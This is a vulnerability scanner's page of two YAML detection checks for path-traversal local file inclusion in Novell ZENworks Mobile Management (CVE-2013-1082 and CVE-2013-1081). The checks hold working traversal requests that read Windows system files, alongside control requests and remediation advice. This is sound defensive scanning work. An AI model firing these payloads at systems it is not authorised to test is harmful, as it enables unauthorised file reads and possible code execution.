Novell ZENworks Mobile — 2 vulnerability checks
noctis ships 2 vulnerability checks for Novell ZENworks Mobile, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Novell ZENworks Mobile Management DUSAP.php Local File Inclusion
| CVE | CVE-2013-1082 |
|---|---|
| Severity | high |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/novell-zenworks-mobile/CVE-2013-1082.yaml |
Tests Novell ZENworks Mobile Management before 2.7.1 for the unauthenticated local file inclusion in DUSAP.php, which includes the file named by the language parameter unchecked. The feed requests /DUSAP.php, then /mobile/DUSAP.php, with language set to a ../ sequence ending in windows/win.ini. The content of win.ini in the reply confirms the inclusion. A control request for an absent random file through the same parameter must not return win.ini content, so a server that serves the same content on every request is not reported. Only a world-readable system file is read.
How noctis detects it
- HTTP(S) request
GET /DUSAP.php?language=res/languages/../../../../../../../../../../../../../../../../../… - Checks
root_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET /mobile/DUSAP.php?language=res/languages/../../../../../../../../../../../../../../..… - Checks
mobile_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{hit_base}}?language=res/languages/../../../../../../../../../../../../../../../../.… - Checks
ctrl_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - Checks
hit_baseforDUSAP\.php$→ finding QoD 75: Novell ZENworks Mobile Management DUSAP.php Local File Inclusion (CVE-2013-1082)
References:
Feed source — tests/vulnerabilities/novell-zenworks-mobile/CVE-2013-1082.yaml
# Novell ZENworks Mobile Management DUSAP.php local file inclusion — CVE-2013-1082
#
# ZENworks Mobile Management (ZMM) before 2.7.1 (PHP on Windows/IIS) includes the
# file named by the language parameter of DUSAP.php without any check (NVD:
# directory traversal in DUSAP.php via the language parameter), so a ../ sequence
# leaves res/languages/ and any readable file is printed (and, when it holds PHP,
# executed).
#
# Detection (benign, read-only): GET
# /DUSAP.php?language=res/languages/<18 x ../>windows/win.ini
# (and the same under /mobile/) and match the CONTENT of win.ini. QoD 75
# (response analysis). ../ in the query goes out verbatim through http_request.
#
# Improvements over the source NASL:
# - The NASL only reports when ZMM was found by its version detection, then
# requests /DUSAP.php at the web root only; this feed needs no detection,
# also tries /mobile/DUSAP.php and reports only an install where the
# inclusion really works.
# - It matches the win.ini content, not just a file name echoed back.
# - A control request (same parameter, a path in an absent random directory
# ending with win.ini) must come back WITHOUT win.ini content, so a blanket
# responder or honeypot is not reported (fail-closed: no control reply ->
# no finding; the control needs the same HTTP status).
#
# CVSS: CVE-2013-1082 v2 7.5 (NVD has no v3 score), so no cvss: field.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_novell_zenworks_mobile_mgmt_dir_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803811, GPL-2.0-only).
uid: 83a3b0a9-c336-49dc-9e07-ea85b5ebf890
name: "Novell ZENworks Mobile Management DUSAP.php Local File Inclusion (CVE-2013-1082)"
description: |
Tests Novell ZENworks Mobile Management before 2.7.1 for the unauthenticated
local file inclusion in DUSAP.php, which includes the file named by the language
parameter unchecked. The feed requests /DUSAP.php, then /mobile/DUSAP.php, with
language set to a ../ sequence ending in windows/win.ini. The content of win.ini
in the reply confirms the inclusion. A control request for an absent random file
through the same parameter must not return win.ini content, so a server that
serves the same content on every request is not reported. Only a world-readable
system file is read.
cves: [CVE-2013-1082]
severity: high
category: file-read
confidence_base: 0.30
tags: [zenworks, novell, mobile-management, php, lfi, local-file-inclusion, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-1082"
# OpenVAS/Greenbone NASL 2013/gb_novell_zenworks_mobile_mgmt_dir_trav_vuln.nasl (GPL-2.0-only)
steps:
- id: init-root-r
action: set_var
var_name: root_r
var_value: {status: 0, body: ""}
- id: init-mobile-r
action: set_var
var_name: mobile_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-base
action: set_var
var_name: hit_base
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: read-root
action: http_request
method: GET
path: "/DUSAP.php?language=res/languages/../../../../../../../../../../../../../../../../../../windows/win.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: root_r
- id: root-content
action: match
source: root_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: "root_r.status == 200"
on_match:
set_vars:
hit_base: "/DUSAP.php"
- id: read-mobile
action: http_request
method: GET
path: "/mobile/DUSAP.php?language=res/languages/../../../../../../../../../../../../../../../../../../windows/win.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'hit_base == ""'
store_as: mobile_r
- id: mobile-content
action: match
source: mobile_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'hit_base == "" && mobile_r.status == 200'
on_match:
set_vars:
hit_base: "/mobile/DUSAP.php"
# Control: same script and parameter, absent random directory, same file name.
- id: control
action: http_request
method: GET
path: "{{hit_base}}?language=res/languages/../../../../../../../../../../../../../../../../../../noctis-absent-{{oob_token}}/windows/win.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'hit_base != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'hit_base != ""'
on_match:
set_vars:
ctrl_hit: true
- id: report
action: match
source: hit_base
pattern: "DUSAP\\.php$"
condition: "ctrl_r.status != 0 && ctrl_r.status == 200 && ctrl_hit == false"
on_match:
finding:
title: "Novell ZENworks Mobile Management DUSAP.php Local File Inclusion (CVE-2013-1082)"
description: "An unauthenticated request to DUSAP.php with the language parameter set to a ../ sequence ending in windows/win.ini returned that file's content, while the same request for an absent file did not. The same flaw includes any other file the web server user can read and runs any PHP code found in an included file."
remediation: "Update ZENworks Mobile Management to version 2.7.1 or later, or block access to DUSAP.php with a language value containing ../ until it is updated."
confidence_delta: 0.55
qod: 75
evidence: "{{hit_base}}?language=res/languages/<18 x ../>windows/win.ini returned the content of win.ini; control for an absent file returned no file content"
stop: trueNovell ZENworks Mobile Management MDM.php Local File Inclusion
| CVE | CVE-2013-1081 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/novell-zenworks-mobile/CVE-2013-1081.yaml |
Tests Novell ZENworks Mobile Management 2.6.1 and 2.7.0 for the unauthenticated local file inclusion in /mobile/MDM.php, which includes the file named by the language parameter unchecked. The feed requests MDM.php with language set to a ../ sequence ending in windows/win.ini and, when no win.ini content comes back, winnt/win.ini and then boot.ini. The content of the file in the reply confirms the inclusion. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read.
How noctis detects it
- HTTP(S) request
GET /mobile/MDM.php?language=res/languages/../../../../../../../../../../../../../../../.… - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET /mobile/MDM.php?language=res/languages/../../../../../../../../../../../../../../../.… - Checks
winnt_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET /mobile/MDM.php?language=res/languages/../../../../../../../../../../../../../../../.… - Checks
bootini_r.bodyfor(?i)\[boot loader\] - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /mobile/MDM.php?language={{ctrl_path}} - Checks
ctrl_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]|\[boot loader\]) - Checks
hit_filefor^(windows/win\.ini|winnt/win\.ini|boot\.ini)$→ finding QoD 75: Novell ZENworks Mobile Management MDM.php Local File Inclusion (CVE-2013-1081)
References:
Feed source — tests/vulnerabilities/novell-zenworks-mobile/CVE-2013-1081.yaml
# Novell ZENworks Mobile Management MDM.php local file inclusion — CVE-2013-1081
#
# ZENworks Mobile Management (ZMM) 2.6.1 and 2.7.0 (PHP on Windows/IIS) include
# the file named by the language parameter of /mobile/MDM.php without any check
# (NVD: directory traversal in MDM.php via the language parameter), so a ../
# sequence leaves res/languages/ and any readable file is printed (and, when it
# holds PHP, executed).
#
# Detection (benign, read-only): GET
# /mobile/MDM.php?language=res/languages/<18 x ../>windows/win.ini
# and match the CONTENT of win.ini; when the script answers but no win.ini
# content comes back, winnt/win.ini then boot.ini. QoD 75 (response analysis).
# ../ in the query goes out verbatim through http_request.
#
# Improvements over the source NASL:
# - The NASL only reports when ZMM was found by its version detection, then
# reads windows files; this feed needs no detection and reports only an
# install where the inclusion really works.
# - winnt/win.ini and boot.ini are tried too (older Windows).
# - A control request (same parameter, a path in an absent random directory
# ending with the file that hit) must come back WITHOUT any of these
# files, so a blanket responder or honeypot is not reported (fail-closed:
# no control reply -> no finding; the control needs the same HTTP status).
#
# CVSS: CVE-2013-1081 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_novell_zenworks_mobile_management_58402.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103734, GPL-2.0-only).
uid: 360a567e-f8ec-42a6-bae8-08a441dd7c39
name: "Novell ZENworks Mobile Management MDM.php Local File Inclusion (CVE-2013-1081)"
description: |
Tests Novell ZENworks Mobile Management 2.6.1 and 2.7.0 for the unauthenticated
local file inclusion in /mobile/MDM.php, which includes the file named by the
language parameter unchecked. The feed requests MDM.php with language set to a
../ sequence ending in windows/win.ini and, when no win.ini content comes back,
winnt/win.ini and then boot.ini. The content of the file in the reply confirms
the inclusion. A control request for an absent random file through the same
parameter must not return any of these files, so a server that serves the same
content on every request is not reported. Only world-readable system files are read.
cves: [CVE-2013-1081]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [zenworks, novell, mobile-management, php, lfi, local-file-inclusion, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-1081"
# OpenVAS/Greenbone NASL 2013/gb_novell_zenworks_mobile_management_58402.nasl (GPL-2.0-only)
steps:
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-winnt-r
action: set_var
var_name: winnt_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-file
action: set_var
var_name: hit_file
var_value: ""
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: read-winini
action: http_request
method: GET
path: "/mobile/MDM.php?language=res/languages/../../../../../../../../../../../../../../../../../../windows/win.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: "winini_r.status == 200"
on_match:
set_vars:
hit_file: "windows/win.ini"
- id: read-winnt
action: http_request
method: GET
path: "/mobile/MDM.php?language=res/languages/../../../../../../../../../../../../../../../../../../winnt/win.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'hit_file == "" && winini_r.status == 200'
store_as: winnt_r
- id: winnt-content
action: match
source: winnt_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'hit_file == "" && winini_r.status == 200'
on_match:
set_vars:
hit_file: "winnt/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "/mobile/MDM.php?language=res/languages/../../../../../../../../../../../../../../../../../../boot.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'hit_file == "" && winini_r.status == 200'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'hit_file == "" && winini_r.status == 200'
on_match:
set_vars:
hit_file: "boot.ini"
# Control: same parameter, absent random directory, same file name ending.
- id: control-path
action: script
code: |
"res/languages/../../../../../../../../../../../../../../../../../../noctis-absent-" + oob_token + "/" + hit_file
condition: 'hit_file != ""'
store_as: ctrl_path
- id: control
action: http_request
method: GET
path: "/mobile/MDM.php?language={{ctrl_path}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'hit_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'hit_file != ""'
on_match:
set_vars:
ctrl_hit: true
- id: report
action: match
source: hit_file
pattern: "^(windows/win\\.ini|winnt/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_r.status == winini_r.status && ctrl_hit == false"
on_match:
finding:
title: "Novell ZENworks Mobile Management MDM.php Local File Inclusion (CVE-2013-1081)"
description: "An unauthenticated request to /mobile/MDM.php with the language parameter set to a ../ sequence ending in a Windows system file returned that file's content, while the same request for an absent file did not. The same flaw includes any other file the web server user can read and runs any PHP code found in an included file."
remediation: "Update ZENworks Mobile Management to a release fixing CVE-2013-1081 (later than 2.7.0), or block access to MDM.php with a language value containing ../ until it is updated."
confidence_delta: 0.55
qod: 75
evidence: "/mobile/MDM.php?language=res/languages/<18 x ../>{{hit_file}} returned the content of {{hit_file}}; control for an absent file returned no file content"
stop: true